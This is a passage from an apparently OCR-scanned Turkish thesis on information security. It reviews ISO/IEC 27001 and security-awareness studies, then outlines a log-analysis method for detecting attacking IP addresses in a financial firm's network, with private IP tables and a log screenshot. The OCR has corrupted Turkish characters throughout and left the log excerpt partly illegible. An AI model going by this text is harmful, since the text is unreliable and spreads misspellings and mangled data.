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Bu konuda yapilan bir uzaktan egitim caligmasinda ise; tasarlanmis olan
WTUES’nin uygulamasi, {iniversitemizin bir projesi olan WELANIMAL kapsaminda
gerceklestirilmistir. Bu amagla 6zellikle bilgi giivenligi konusunda yapilmasi gereken
calismalar ve alinmasi gereken oOnlemler WELANIMAL projesi ile uygulamaya
doniistiiriilmiistiir. Afyon Kocatepe Universitesi Veteriner Fakiiltesi’nin Avrupa Birligi
Leonardo Da Vinci projesi olarak kabul edilen WELANIMAL projesi, bu tez ¢aligmasi
ile birlikte, daha giivenli bir sistem haline getirilmistir. Projenin amaci kisaca: “Hayvan
yetistiriciligi ve hayvan refahi gibi konularda diinya genelinde bir uzaktan egitim
sisteminin olusturulmas1” seklinde adlandirilmaktadir. Afyon Kocatepe Universitesi
Bilgi Islem Daire Baskanlig1 tarafindan gelistirilen Uzaktan Egitim Sistemi’nde; bilgi
giivenligi Ozellikle dikkate alinmigs ve tiim sistem bu dogrultuda planlanarak
hazirlanmistir. Yazilim, donanim, sistem ve ag calismalari olmak iizere; bilginin
giivenligi, bilginin elektronik ortama aktarilmasi, bilginin yaymlanmasi, iletimi ve

saklanmasi gibi konular tasarlanmis, kodlanmis ve uygulamaya gecirilmistir.[18]

Sistemin kullanima agilmasi ile birlikte her giin yeni kullanicilarin sisteme tiye
olduklar1 ve etkilesimli egitim boliimlerini kullandiklar1 tespit edilmistir. Kullanicr ile
ilgili bilgiler diizenli olarak sistem tarafindan sistem yoneticisine elektronik posta ile
bildirilmektedir. Sistemin yayina baslamasindan itibaren yaklasik 8 aylik bir siiregte
ciddi giivenlik sorunu yasanmamis ancak sistem tasarimcilari tarafindan tespit edilen

bazi giivenlik onlemleri eklenmistir.[18]
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Bu konuda yapilan bir web tabanli bir test araci ¢alismasinda ise; kurumlarin
bilgi giivenligini hangi basarililikta uyguladiklarini saptamak i¢in, ISO/IEC 27001:2007
Bilgi Giivenligi Yonetim Sistemi prensiplerinin kullanildigi web tabanli bir test araci
gelistirilmistir. Bu test araci, kurumlardaki bilgi giivenligi altyapisinin zaman igindeki
durumlarinin izlenmesi amaciyla da kullanilabilir. Test araci, popiiler bir acik kaynak
programlama dili olan PHP ile gelistirilmis; veri tabani yonetim sistemi olarak ise yine
acik kaynak mimarisine sahip MySQL kullanilmistir. Web tabanli olarak hazirlanan
cevrim ici (online) anket seklindeki bir envanter sistemi yardimiyla toplanan bilgiler
ISO/IEC 27001 olgiitleri ¢ercevesinde degerlendirilerek, envanteri dolduran
kurumun/sirketin (hem kurumsal, hem de her bir calisan1 bazinda bireysel) bilgi
giivenligi altyapist ile ilgili ¢ikarimlarda bulunulmustur. Ayrica, sektorel bazda
istatistiksel ¢ikarimlar da yapilarak, tilkemizdeki durumun kendi i¢inde ve diinyadaki
diger ornekleriyle karsilastirilmasi hedeflenmistir. Calisma, “Bilgi Giivenligi Yo6netim
Sistemi’nin kurum i¢indeki siireclere katkisini da ortaya ¢ikartmaktadir. Caligmanin son
uriinii, Bilgi Giivenligi Yonetim Sistemi altyapisini degerlendirip, raporlayan bir test
aracidir (yazilim sistemi). Bu sistem, ayn1 zamanda, kendi i¢inde temel bir yonetim
modiiliine de sahiptir. Boylece, envanter sorulari, yorumlar, bilgi giivenligi temel
alanlar1 gibi unsurlar kolayca degistirilebilir ve yenileri eklenebilir. Envanteri dolduran

firmalarla ilgili tiim bilgiler ve envanter yanitlar1 tiim detaylari ile raporlanabilir.[19]
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Bilgi giivenligi mimarisi i¢in yapilan bir baska calismada ise; kurum ve
kuruluslarin bilgi sistemi giivenligi konusu ele alinmustir. internet kullanimi ve bilgi
sistemlerine dayali i modellerinin artis1 ile bilgi sistemi gilivenligi 6nemli bir hale
gelmisgtir. Temel giivenlik kavramlar ile kurumsal bilgi sistemleri giivenligi konular ele

almmustir. Bir giivenlik mimarisi 6nerebilmek i¢in bir uygulama gelistirilmistir.[20]

Bu uygulamada sanal bir organizasyon tanimlanmis ve degisiklikler yapilarak
giivenli bir mimariye getirilmistir. Kurum ve kuruluslarda sik¢a kullanilan giivenlik
tirtinleri degistirilen yapi ile “defense in depth” stratejisi uygulanarak biitiinlestirilmistir.
Bu sayede saldirgan ve varlik arasina birden fazla savunma noktasi konulmustur.
Uygulama sonunda ortaya ¢ikan mimarinin katmanli yapisi 6rnek saldir1 vektorleri ile

test edilmistir.[20]
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Bilgi giivenligi yonetim sistemine yonelik yapilan bir calismada ise; Bilgi
Teknolojilerinin (BT) gelisimi, sagliktan egitime, ticaretten bankacilik islemlerine kadar
her tiirlii kurumu etkilemektedir. Bu etkilesim ile bilgi glivenligi ve is siirekliligi gibi
gereksinimlerin saglanabilmesi i¢in Bilgi Giivenligi Yonetimi konusu ortaya ¢ikmuistir.
Bu ihtiyaglarin dogrultusunda, Bilgi Giivenligi Yonetim Sistemiyle (BGYS) ilgili
islemlerin kaliteli bir sekilde tanimlanabilmesi ve tamamlanabilmesi i¢in bir standart

tanimina gereksinim duyulmustur.[21]

Bu tez calismasinda, BGYS standardi olarak tanimlanan ISO/IEC 27001
standard1 ve bu standardin nasil uygulanmasi gerektigi konusu islenmektedir. Ayrica,
bilgi giivenligi yonetimine yardimci olan Bilgi Giivenligi Risk Yonetimi (BGRY)
standardi ISO/IEC 27005’in, ISO/IEC 27001 ana standardiyla nasil bir baglantida
bulundugu ve BGYS’yi uygulama islemlerinin her iki standart tarafindan nasil

yonlendirilmesi gerektigi agiklanmaktadir.[21]

Bu tez calismasmnin amaci, ISO/IEC 27001 standardina uyumlu olarak
BGYS’yi uygulama islemlerinin nasil daha anlasilir ve daha kullanilabilir bigimde

tanimlanabilecegini gostermektir.[21]

Bu tezde, Tiirkiye’de ISO/IEC 27001 standardi uygulanirken izlenen siirece
dair yapilan arastirmanin sonuclar1 ve ISO/IEC 27001 standardina ge¢meyi amaclayan

kisilere ve kurumlara yonelik oneriler sunulmaktadir.[21]
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Kurumsal bilgi gilivenligine yonelik yapilan bir baska ¢alismada ise; Bilgi
giivenligi genel olarak incelenmis, kurumsal bilgi giivenligi ve standartlar
degerlendirilmis, bilgi giivenligini zaafa ugratan tehditler gbzden gegirilmis, iilkemiz
bilisim hukuku incelenmis ve yiiksek tehdit altinda olan web uygulamalar1 {izerine
odaklanilmistir. Yapilan incelemelerde web ortamlarinda biiyiik tehdit olusturan SQL
enjeksiyonu ve sizma testleri genel olarak gozden gegirilmis ve bu konularda
uygulamalar yapilarak, konu detayli olarak degerlendirilmis ve alinmasi gereken

onlemler sunulmustur.[22]

Yiiksek seviyede bir bilgi giivenliginin saglanmasinda O6nemli olan insan
faktorii-teknoloji-egitim kavramlari tekrar gozden gegirilmis ve sizma testlerinin bu
faktorler tizerindeki etkisi arastirilmus, tespit edilen tehditlerin giderilmesine ve mevcut

durumun iyilestirilmesine yonelik ¢6ziim 6nerileri sunulmustur.[22]

Kurumsal bilgi gilivenliginin saglanmasinda, bilgi giivenligi siirecini etkileyen
temeldeki ti¢ unsurun insan faktorii, egitim ve teknoloji oldugu bu tez kapsaminda elde
edilen 6nemli bulgulardan bir digeridir. Kurumsal bilgi giivenliginin saglanmasiyla
ilgili olarak bu tez ¢alismasinda giivenligin bir {irin veya hizmet olmadigi, insan
faktorti, teknoloji ve egitim tiggeninde siireklilik arz eden yonetilmesi zorunlu bir siireg
oldugu esas alinmig, bu ii¢ unsur arasinda tamamlayicilik olmadigi siirece yiiksek
seviyede bir giivenlikten bahsedebilmenin miimkiin olamayacagi saptanmistir. Yiiksek
seviyede kurumsal bilgi giivenligin saglanmasi i¢in yapilmasi gerekenler, alinmasi

gerekli onlemler ve tedbirler bu ¢ergeve dahilinde agiklanmistir.[22]
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Kurumsal bilgi giivenligi yonetimi alaninda yapilan bir ¢alismada ise; Bilgi
giivenligi ve unsurlart incelenerek, kurumsal bilgi gilivenligi ve standartlar
degerlendirilmistir. Bu ¢er¢evede kurumlarin bilgi giivenligini zaafa ugratacak tehditler,
riskler gozden gegirilerek, lilkemiz bilisim hukuku ve bilisim mevzuati incelenmis ve
risk altindaki uygulamalar degerlendirilip web ve veri tabanlari iizerinde yogunlagmaistir.
Bu kapsamda kurumlarin en degerli varliklarindan sayilan bilgi varliklariin korunmasi
icin alinacak Onlemler belirlenerek sunulmustur. Makul seviyede bilgi giivenliginin
saglanmasi icin Onemli olan islemler tekrar goézden gecirilmis ve kurumsal bilgi
giivenligi yonetimi lizerindeki etkisi arastirilmus, tespit edilen risklerin giderilmesi ve
yonetilmesine yonelik ¢oziim Onerileri sunulmustur. Bu tez caligsmasinin iilkemiz
kurumsal bilgi gilivenligi yOnetimi alaninda yapilan kapsamli bir ¢aligma olmasi
nedeniyle iilkemizde bilgi giivenligine gereken 6nemin verilmesine katki saglayacagi,
kurum ve kuruluslar i¢in bir uygulama ve farkindalik kaynagi olacag: ve bilgi giivenligi

bilincinin yiikseltilmesine katkida bulunacagi tahmin edilmektedir.[23]

Kurum ve kuruluslarin st diizeyde bilgi giivenligi ve is strekliligini
saglamalar icin standartlar gercevesinde teknik Onlemlerin uygulanmasimnin yaninda
teknik olmayan(insan faktorii, prosediirel faktorler, vb.) Onlemlerin ve denetimlerin
alinmasi, tiim bu siireglerin devamliliginin saglanilmasi ve bilgi giivenligi standartlarina
uygun olarak yonetilmesi amaciyla yonetim tarafindan desteklenen insanlari, is
siireglerini ve bilisim teknolojilerini kapsayan bilgi giivenligi standartlarina uygun

olarak BGYS kurmalar1 gerekmektedir.[23]
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Bilgi giivenligi alaninda yapilan bir bagska c¢aligmada ise; Diinyadan ve
Tiirkiye’den en giincel istatistiksel bilimsel verilerle mevcut durum ortaya konularak
bilgi gilivenliginde ortak yapilan en yaygin yanliglara dikkat c¢ekilmekte ve bunlara
yonelik olarak kisa ve uzun vadede toplum geneline ve kurumlara uygulanabilecek etkin
¢Oziim Onerileri sunulmaktadir. Kurum digina veri iletimi, transferi, vb siireclere
Ozellikle odaklanmali ve bu asamalardaki olast tiim risklerin en aza indirgenmesi
hedeflenmelidir. Bu konuya iligskin bir 6rnek vermek gerekirse; Calisanlarin ¢ogu
Internet, vb iletisim sistemleri iizerinden iletilen verinin giivenligine dncelikle odaklanir
ama sirket disina ¢ikmasi gereken yedek dosyalar, arizalanmis veya atil duruma gelmis
ama i¢inde hala gizli sirket verisi tasiyan bilgisayar, CD, yedekleme kartusu, vb.nin
giivenligi genelde goz ardi edilir. Oysa bu gibi cihazlar ve igindeki veriler de mutlaka
kontrol edilmeli ve gizli bilgiler imha edildikten veya sifrelendikten (ing. encryption)
sonra kurum disina c¢ikarilmalidir. Coziim Onerilerinin ve Onlemlerin teknoloji
boyutundaki yapilabilecekleri kisaca 6zetlemek gerekirse; ilgili her tiirlii ag, iletisim,
bilgisayar, elektronik kayit, arsiv, yedek ve ayrica yazili belgeler, yazici, faks, vb.
araclarin kullaniminda olabildigince en gilincel kimlik dogrulama ve yetkilendirme
teknolojileri tercih edilmelidir. Buna ek olarak, belli noktalarda, cihazlara kaydedilen
ve/veya aglar tzerinden iletilen veriler igin sifreleme teknolojileri de mutlaka
kullanilmalidir. Biometrik, e-imza, tek kullanimlik parola, vb. teknoloji segeneklerinden
hangisinin kullanilacagi, hangi sifreleme yazilimi ve hangi anahtar uzunlugu ile
sifreleme yapilacagi, vb. sorularin yanitlarmin 1ilgili risk analizleri sonucunda
belirlenmesi gerekmektedir. Bir kurum, biitgesinden yiiksek miktarda TL’sini bu is i¢in
ayirip en pahali ve en karmasik teknolojiye parasimi harcasa bile dogru giivenlik
yatirimini yapmis oldugunun garantisini alamayacaktir. Kurumlar kendi iglerinde belli

birimleri ve bu konuda yetkin personelini gorevlendirip belli zamanlarda i¢ giivenlik
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denetimleri yaptirmali ve bunun yan sira yilda en az iki kez de kurum dis1 glivenlik
danismanlik firmalarindan dis denetim hizmeti almahidir. Kurumlardaki istihdam
stireclerinde uygulanan bazi yontemler ve onlemler, bilgi giivenliginde etkin ve uzun
vadeli ¢oziimler saglanmasina katki yapmaktadir. Kurumun igerisinde ticari sirlart ve
gizli bilgileri en yogun olarak kullanacak personellerin ise alim siireglerinde adli sicil,
giivenlik kontrolleri, referans arastirmalari, kisilik testleri, adaym giivenilirliginin
irdelenmesi, vb ¢alismalar kapsamli bir sekilde yapilmalidir. Kurum geneli uygulanacak
her gesit projede, ister bilgi teknolojileri ile ilgili olsun, ister orgiitsel yapilanma veya is
stireclerinin degisimi ile ilgili olsun, bilgi giivenligi projelerin en bagindan itibaren
stirece katilmalidir ve projenin her asamasinda gilivenlikle ilgili kisimlar da
irdelenmelidir. Bilgi giivenligi yonetimi, siirekli yasatilmasi gereken, degisimlere uyum
saglayarak siirekli gelisime agik olmasi gereken bir siirectir. Bilgi giivenligi, sadece
teknoloji veya sadece bilgisayar giivenligi degildir. Bilgi giivenligi; insan, slire¢ ve
teknoloji Ttgliistintin  birlikte uyumlu bir sekilde c¢alismasi gereken bir yoOnetim
sistemidir. Ozetle bilgi giivenligi, 6zel hayatta ve is yasaminda kaniksanmas,
ogrenilmesi, rutin hale gelmesi gereken bir siirectir. Bilgi giivenligi ve giivenlik
tehditleri gibi bir konuda bile; insanlarin korkuyla degil, ancak sevgiyle ve egitimle

kazanilabilecegi 6nemle vurgulanmalidir. [24]
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Bilgi giivenligi farkindaligima yonelik yapilan bir ¢alismada ise; kurumlarda
bilgi giivenligine yonelik risklerin énlenmesinde, bilgi giivenligi farkindaliginin 6nemi
ve farkindalik olusturma yontemlerini kapsamaktadir. Bilgi gilivenligi farkindaligini
olusturmanin ana yolu kurumda en iist seviyedeki yonetimden en alt seviyedeki ¢aligana
hatta tedarik¢ilere kadar ¢alisanlarin gorev ve pozisyonlar1 da dikkate alinarak ihtiyag
ve beklentilere gore farkli egitim ve farkindalik programlari hazirlanmali ve egitimler
diizenlenmelidir. Bu egitimler bir ¢alisan ise basladiginda verilen oryantasyon
egitimlerinin ayrilmaz bir pargasi olarak diistiniilmeli ve mutlaka her galisana en az bir
kez verilmelidir. Daha sonraki donemlerde ise ¢alisana planlamis varsa almasi gereken
diger egitimler diizenli olarak verilmedir[25]. Ayrica ¢alismada kurum ¢alisanlarina bu

farkindalig1 kazandirmak icin yontemler bulunmaktadir.
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Bilgi giivenligi yonetim sistemi i¢in yapilan bir baska calismada ise; Birgok
kurulus Bilgi Giivenligi Yonetim Sistemi (BGYS) kurmak ve bu yonetim sistemini TS
ISO/IEC 27001 sertifikas1 ile belgelendirmek istemektedir. BGYS’nin hedefledigi
kapsam tiim kurum ve is siiregleri olsa da bu isteklerin genellikle kurumlarin bilgi islem
birim temsilcilerinden veya bilgi islem biriminin bagli oldugu st yoneticilerinden
geldigi goriilmektedir. TS ISO/IEC 27001 standardi, belirli bir kapsam dahilinde is
stireclerini dikkate alan bir risk analizinin gergeklestirilmesini zorunlu kilmaktadir.
Istekler bilgi islem birimlerinden geldigi icin bircok BGYS kurulum galigmasinda
kapsam bilgi islem siiregleri olarak belirlenmektedir. Diger taraftan bilgi islem
kapsaminda gerceklestirilmesi planlanan risk analizi siirecinde genellikle sadece
donanimlara ve yazilimlara odaklanilmaktadir. Bu durumda ise, yonetimsel bir¢ok risk
g0z ardi edilebilmektedir. Bu c¢alismada, bir BGYS kurulum calismasinda siireglerin,
siregte yer alan varliklarin, varliklardaki acgiklik ve tehditlerin nasil ifade
edilebilecegine yer verilmis ve stire¢ modeli kullanilarak nasil risk analizi yapilabilecegi
konusunda bir 6neri getirilmistir. Onerilen metodun, dzellikle bilgi islem siireclerinin
kapsam dahilinde oldugu Bilgi Gilivenligi Yonetim Sistemi kurulumu c¢alismalarinda
etkin bir sekilde kullanilabilecegi degerlendirilmektedir. Gilinlimiizde, BGYS kurulum
istekleri bilinglenmeden dolay1r genellikle kurumlarin bilgi islem birimlerinden
gelmektedir. Bu da, bilgi islem siireglerinin kapsam dahilinde oldugu BGYS
calismalarinin 6niinii agmaktadir. Kapsam dahilindeki siirecleri modelleyebilen bir risk
analizi siireci, BGYS’ye sadece teknik cerceveden bakilmasinin da Oniine gececek
onemli bir arac olacaktir. Onerilmis olan yéntemin TS ISO/IEC 27001 standardindaki
gereklilikleri karsilamaktadir. Standart ¢er¢evesinde onerilen metodun kullanilmasiyla
olusturulmus olan bir BGY S nin kolaylikla sertifika alabilecegi degerlendirilmektedir.

Akademik kaynaklarda BGYS sertifikalandirma siirecinin son derece zor olabildigi
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sOylenmektedir. Bunun nedeni olarak standardin birgok unsuru ayni anda i¢ermesi ve
sertifikasyon igin tiim unsurlarin bulunmas: gerekliligi gdsterilmektedir. Onerilen
yontem, BGYS kurulumu kapsamindaki birgok temel unsuru kapsamaktadir. Biitiin bu
unsurlari, kurum c¢alisanlarinin da katilimi ile maliyet etkin ve hizli bir sekilde
tamamlamak miimkiindiir. Onerilmis olan siire¢ tabanli risk analizi yontemi ile sadece
teknik riskler degil, kurumsal, fiziksel, siire¢ sel ve personel ile ilgili riskler de dikkate
alinmaktadir. Standart ve akademik kaynaklar, BGYS’nin kurulugun ticari riskleri
baglaminda kurulmasi gerektigini ifade etmektedir. Bu nedenle sadece bilgi islemin
sorumlulugunda oldugu teknik riskler goz oniine alinarak BGYS kurulmasi beklenen
etkiyi gostermeyecektir. Onerilmis olan yontem sadece sunucular ve yazilimlar gibi
teknik kalemleri 6n plana ¢ikartmamaktadir, bunun yerine siiregleri vurgulamaktadir.
Boylece, soz konusu yontem kurumsal bakis agisi ile uyum saglamaktadir. Son sz
olarak onerilmis olan 6zellesmis bir yazilimm kullanilmadigi, siireg modellemesini
iceren ve nitel risk analizi yontemi kamu kurumlar bilgi islem birimlerinin ihtiyaglarini

karsilayacak sekilde tasarlanmistir.[26]
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5. UYGULAMA

5.1 Amag¢

Bu calismada bilgi giivenligine iliskin meydana gelebilecek saldirilar1 6nceden
tespit etmeyi amaglanmistir. Bir kurum igerisinde yasanabileceklerin bir senaryo halinde
diisiiniip calisanlarin gerek kurum i¢i gerekse de kurum dis1 yaptiklar isleri sistem
tizerinden incelenip sisteme baglanan tiim bilgisayarlarin ip adresleri iizerinde
kullandiklar1 sunucularin hangilerinde erisimi atlatip erisim yetkisi verilmeyen sisteme

erismeyi hedeflediklerinin dnceden tespitine iliskindir.

Denetim iz (log) kayitlart incelenip, gerek kurum iginde gerekse de kurum diginda
stirekli ya da belirli aralikla ataklar yapildigi anda bu ip adresinin tespit edilmesi ve
sistemlere biiylik zarar vermeden once bu ip adresini bloke etmektir. Burada siirekli
kurum i¢i agmi (network) siirekli mesgul edilmesi bir saldirt olabilecegi gibi bir
sunucunun giincellestirmesi, yedek almasi, ag icerisinde zararli bir yazilimin interneti
stirekli kullanabilecegi ya da internetten bir yazilin indirilmesi (download) olabilecegini
hesaba katilmistir. Burada yapilan saldir tespit edilir edilmez bloke edilip edilmeyecegi
Bilgi Teknolojileri biriminde sistem yoneticilerinin kararlarina birakilmistir. Cilinki
bilgi teknolojilerinin siirekliliginin engel olunmamasi ve sistemlerin diizgiin ¢alismasi

hayati 6nem tagimaktadir.
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5.2 Arag ve Yontem

Bu ¢alismada bir finans kurulusuna dair denetim iz (log) kayitlari ele alinip

oncelikle gereksiz alanlarin temizlenmesi ve sonrasinda belirli kisitlar uygulanacaktir.

[k adimda gruplandirma yapilarak eldeki verilerin birbirlerine olan benzerlige
gore belirlenecektir. Ikinci adim da ise simiflandirma yapilarak elde var olan, hali
hazirda veriler kullanarak yeni bir verinin mevcut siniflardan herhangi birine girme

olasilig1 hesaplanacaktir.

Bu c¢alismada veriler iizerinde komut ¢aligtirilmasi i¢in veri tabani programi
kullanilacaktir. Piyasada var olan veri tabanlari igerisinde performans ve giivenlik
kriterleri gbz oniinde tutularak Microsoft SQL Server 2014 versiyonu kullanilacaktir.

Detaylar1 uygulama basligi altinda anlatilacaktir.

5.3 Kisitlar

Kurumunun kendi igerisinde tuttugu denetim izi (log) kaydinin degistirilmesi,
sistemlerin log kayitlarin1 tutmalarinin kapatilmasi ilk akla gelen engellerdir. Bunlarin
olabilecegi fakat bilgi giivenligi farkindaligin1 benimsemis kurumlarda bu tiir engellerle

karsilasilmaz. Log kayitlarinin tutulmamasinin nedenleri:

e Isletim sistemi giincellemesi
e Paket yaziliminin glincellemesi

e Anti- Viriis yazilimin giincellemesi

71



e Elektrik kesintisi ya da bir felaket durumunda sistemlerin kapatilmasi ya da
kapanmasi

e Sistemlerin ya da veri tabanlarmmin yapilandirma(Konfigiirasyon) ayarlarinin
yanlis yapilmasi sonucunda eksik ya da hi¢ log kaydinin tutulmamasi

e Log kayitlarinin tutuldugu sunucuda yeterli miktarda yer olmamasi

e Log kayit dosyasinin bozulmasi

Bu konudaki ikinci bir kisit loglarin hangi zaman araliginda incelenecek
olmasinin belirlenmesi. Bu ¢alismada tavsiye edilen siire son yedi giin, on bes giin ya da
bir aylik geriye dogru kontroldiir. Yurt disindan belirli bir {ilkeden kurum agina toplu

bir saldir1 da ise ilgili lilkenin tiim ip araliginin bloke edilmesiyle ¢6ziim bulunabilir.

Diger bir kisit ise log kayit dosyalarinda gereginden fazla bilgi tutulmasidir.
Burada istenilen bilgilerin silinmesi ve gerekli bilgilerinin herhangi bir eksiklige yol

agmadan saklanmasidir.

Ayrica belirli bir tarihte hicbir denetim iz (log) kaydinin olmamasi da
beklenilmektedir. Bu da ilgili tarihte teknik bir nedenden dolay: sistemlerde ya da veri
taban1 loglariin mevcut olmamasidir. Denetim izi (log) kaydinin yedekleme sirasinda
diizgiin bir yedek alinmamas1 ve istenildiginde ulagilamamasi da ¢aligmanin sekteye

ugratilmasina neden olacaktir.
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Bu caligmada log kayitlarinin iizerinde yapilmasinda kurumlarda denetim izi
(log) kayitlariin diizenli olarak incelenememesi ve gereken Onemin verilmemesi

gozlemlendiginden boyle bir calisma yapilmasina karar verilmistir.

5.4 Verilerin Toplanmasi

Bu ¢alisma icin segilen finansal kurulusunun Istanbul da bir genel miidiirliigi,
Ankara da ise bir subesi bulunmaktadir. Bu kurulusun sunucu ve diger sistemlerin birer
yedekleri Ankara subesinde bulunmaktadir. Bu da bir felaket durumunda islemlerin

kesintiye ugramama i¢in alinan bir tedbirdir.

INTRANET

Domain Controller (D¢}

~ |53 8

Uygulama Sunucusu (1) Uyzul @ com! Veri Tabani Sunucusu (2)

FINANS KURULUSUNUN AG HARITASI (GENEL MUDURLUK - ISTANBUL )

Sekil 31. Finans Kurulusunun A§ Haritas1 (Genel Miidiirliik — Istanbul)
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Genel Midiirliikte bulunan ag haritasi Sekil -31 de gorildiigli iizere su

sunucular ve cihazlardan olugmaktadir:

e Dosya Sunucusu (1 Adet)

e Mail Sunucusu (1 Adet)

e FTP Sunucusu (1 Adet)

e Web Sunucusu (1 Adet)

e Uygulama Sunucusu (2 Adet)

e CMS Sunucusu (1 Adet)

e Veri Tabani Sunucusu (2 Adet)

e Domain Controller (1 Adet)

e Yazici (10 Adet)

Sekil — 31 de goriildiigii tizere sunucularin disartya ¢ikislarinda bir anahtar
(switch) ile yonlendirme yapilmaktadir. Bu ¢alismada esas kullanacagimiz denetim izi
(log) kaydi kurumun i¢ agindan disartya ¢ikan switch tuttugu log kaydidir. Glinlimiizde

fonksiyonelligi artmis bu anahtar (switch) cihazlar daha kaliteli log kayd: tutmaktadir.
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192.168.10.1

192.168.10.2

192.168.10.3

192.168.10.4

192.168.10.5

192.168.10.6

192.168.10.7

192.168.10.8

192.168.10.9

192.168.10.10

Ag Cihazlar

(Genel Miidiirliik — Istanbul)

Tablo 3. Ag Cihazlariin IP Adresleri

192.168.10.11 -192.168.10.20

Ust Yonetim

192.168.10.21 -192.168.10.30

Muhasebe Birimi

192.168.10.31 -192.168.10.40

Insan Kaynaklari Birimi

192.168.10.41 -192.168.10.50

Krediler Birimi

192.168.10.51 -192.168.10.60

Dis Islemler Birimi

192.168.10.61 -192.168.10.70

Destek Birimi

192.168.10.71 -192.168.10.99

Bilgi Teknolojileri Birimi

Tablo 4. Birimlerin IP Adresleri

75




Finans kurulugsunun ip adres tablolar1 Tablo 3, Tablo 4, Tablo 5 de goriildigu
lizere Istanbul da yer alan Genel Miidiirliik icin 192.168.10.* seklinde bir ip verilmistir.
Burada Tablo 3 de 192.168.10.1 — 192.168.10.10 ag cihazlar1 i¢in ip verilmistir. Kurum
icerisinde ilgili her birim i¢in ip araligr belirlenmis ve bilgi teknolojileri igin ise
192.168.10.71 — 192.168.10.99 Araligin da ip araligi tanimlidir. BT Biriminde yer alan
diz istli ve masa isti bilgisayarlarin ip araligi 192.168.10.71 — 192.168.10.79

arasindadir.

Tablo 5 de Genel Miidiirliikte bulunan sunucularin ve yazicilar ip tablosuna yer
verilmistir. 192.168.10.80 ip adresinden baslayarak 192.169.10.99 ‘a kadar kurum

aginda bulunan cihazlar ve sunucular i¢in ipler verilmistir.
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192.168.10.80

Dosya Sunucusu

192.168.10.81

Mail Sunucusu

192.168.10.82

FTP Sunucusu

192.168.10.83

Web Sunucusu

192.168.10.84

Uygulama Sunucusu(1)

192.168.10.85

Uygulama Sunucusu(2)

192.168.10.86

CMS Sunucusu

192.168.10.87

Veri Taban1 Sunucusu(1)

192.168.10.88

Veri Taban1 Sunucusu(2)

192.168.10.89

Domain Controller

192.168.10.90 Yazici(1)
192.168.10.91 Yazici(2)
192.168.10.92 Yazici(3)
192.168.10.93 Yazici(4)
192.168.10.94 Yazici(5)
192.168.10.95 Yazici(6)
192.168.10.96 Yazici(7)
192.168.10.97 Yazici(8)
192.168.10.98 Yazici(9)
192.168.10.99 Yazici(10)

Tablo 5. Sunucu ve Yazicilarin IP Adresleri
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Finans kurulusunun Ankara da bulunan subesinin ip araligi Tablo 6 da
gorildigii tizere 192.168.20.1 ile 192.168.20.10 ag cihazlarina verilmistir. Bu ip aralig

igerisinde sunucular da bulunmaktadir.

192.168.20.1 — 192.168.20.10 Ag Cihazlar
192.168.20.11 — 192.168.20.20 Yazicilar
192.168.20.21 — 192.168.20.50 Kisisel Bilgisayarlar

Tablo 6. Ankara Subesinin IP Tablosu

Genel Miidiirliik ile Ankara subesi arasinda VPN (Virtual Private Network -
Sanal Ozel Ag) baglantist bulunmakta. VPN baglantisi, Sunucular arasinda veri
yedekleme, veri transferi ve diger islemlerde giivenlik ve performans gibi nedenlerden

dolay1 tercih edilmistir.

Finans Kurulugsunun genel miidiirliigii, sube ya da subelerinde isletim sistemi,
paket programlar, anti viriis ve diger yazilimlarin giincelleme saati 12:00 — 13:00
arasindadir. Yedekleme islemi i¢cin de mesai saatlerinin diginda ilgili is giinlin gecesinde
saat 23:00 ile 06:00 arasinda yapilmaktadir. Hem giincelleme iglemlerinde hem de
yedekleme saatlerinin yapildigi saatler kurumda islem yogunlugu ve sunucularin
durumu gozetilerek performansin etkilenmemesi ve herhangi bir hata durumunda var
olan verinin(data) etkilenmemesi gozetilerek secilmistir. Belirlenen saatlerde genel
miidiirliikte bulunan sunucular igerisinde yer alan verinin (datanin) bir yedegi felaket

durumu diisiiniilerek Ankara subesinde yedeklenmektedir.
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Sunucularin ve ag cihazlarin tuttugu denetim izi (log) kaydi ¢ok miktarda veri
tutmaktadir. Bu verilerin bir kisminin temizlenmesi gerekli goriinen verinin de
tablolama islemi Oncelikle yapilacaktir. Sekil — 32 de goriildiigii lizere bir log kaydi
dosyasinin karmasikligindan ¢ikmak ve daha temiz verinin elde edilmesinde 6nem arz

etmektedir.

9 o | Bl i
Dosya Dizen Bigim Gérdndm  Yardim

2014-04-12T18:39:49.625+03:00| wmx| T120 s Fas
2014-04-12718:39:49.625+03:00| vmx| I120: s o

vk e R

2014-04-127T18:39:49,625+03: 00| wvmx| I120: A T
2014-04-12T18:39:49.625+03:00| vmx| 1120: Pack 3B 2500)
2014-04-12718:39:49, 328+03:00] vmx| I120:% id 407
2014-04-12T18:39:49, 328+03:00| vmx| I120: f

2014-04-12718:39:49, 328+03:00| vmx| 1120:
2014-04-12718:39:49,359+03:00| vmx| 1120:
2014-04-12718:39:49,359+03:00| vmx| 1120:
2014-04-12T18:39:49,359+03:00| wmx| I120:
2014-04-12718:39:49,359+03:00| vmx| 1120: ConfigDB: Failed to Toad ¢;':
2014-04-12T18:39:49,359+03:00| vmx| I120: Msg_Reset:
2014-04-12T18:39:49,359+03:00| vmx| 1120: [msg.dictionary.load.openFailed] Cannot open file "C:\Documents and SettingsiAdmin
2014-04-12T18:39:49,359403:00| vmx| I120:
2014-04-12T18:39:49,359%+03:00| vmx| 1120: PREF Optional preferences file not found at C:\Documents and Settings‘\Admin\Applic
2014-04-12718:39:49,359+03:00| vmx| I120: FILE: FileLockDynaLink: Further process validation tools are: available
2014-04-12718:39:49,625+03:00| vmx| 1120: Hostname=samsung

2014-04-12718:39:49, 687+03:00 vmx| 1120: IP=192.168.2.254

2014-04-12T18:39:49,687+03:00| vmx| I120: IP=192.168.88.1

2014-04-12T18:39:49.687+03:00| vmx| I120: IP=192.168.213.1

2014-04-12T18:39:49,687+03:00| vmx| I120: HOSTINFO 24549995247 @ 3579345Hz -» 0 @ 1000000000Hz

2014-04-12T18:39:49,687+03:00| vmx| I120: HOSTINFO ((x * 2343484437) »» 23) + -6838412240716

2014-04-12T18:39:49,703+03:00] vmx| I120: 1me . G8365650
2014-04-12718:39:49.703+03:00| vmx| 1120: ¢
2014-04-12718:39:49,703+03:00| vmx| 1120:
2014-04-12718:39:49,937+03:00| vmx| 1120:
2014-04-12718:39:49,953+03:00| vmx| 1120:
2014-04-12T18:39:50, 046+03:00| wvmx| I120: vmdbaddConrect coPat = ol e ermentin 81
2014-04-12T18:39:50.046+03:00| vmx| 1120: vix: [4072 mainDispatch.c:483]: WWaAutomation: I Tizing WAutomation
2014-04-12T18:39:50. 046+03:00| vmx| 1120: vix: [4072 mainDispatch.c:780]): WWAutomationOpenListenerSocket() 1istening
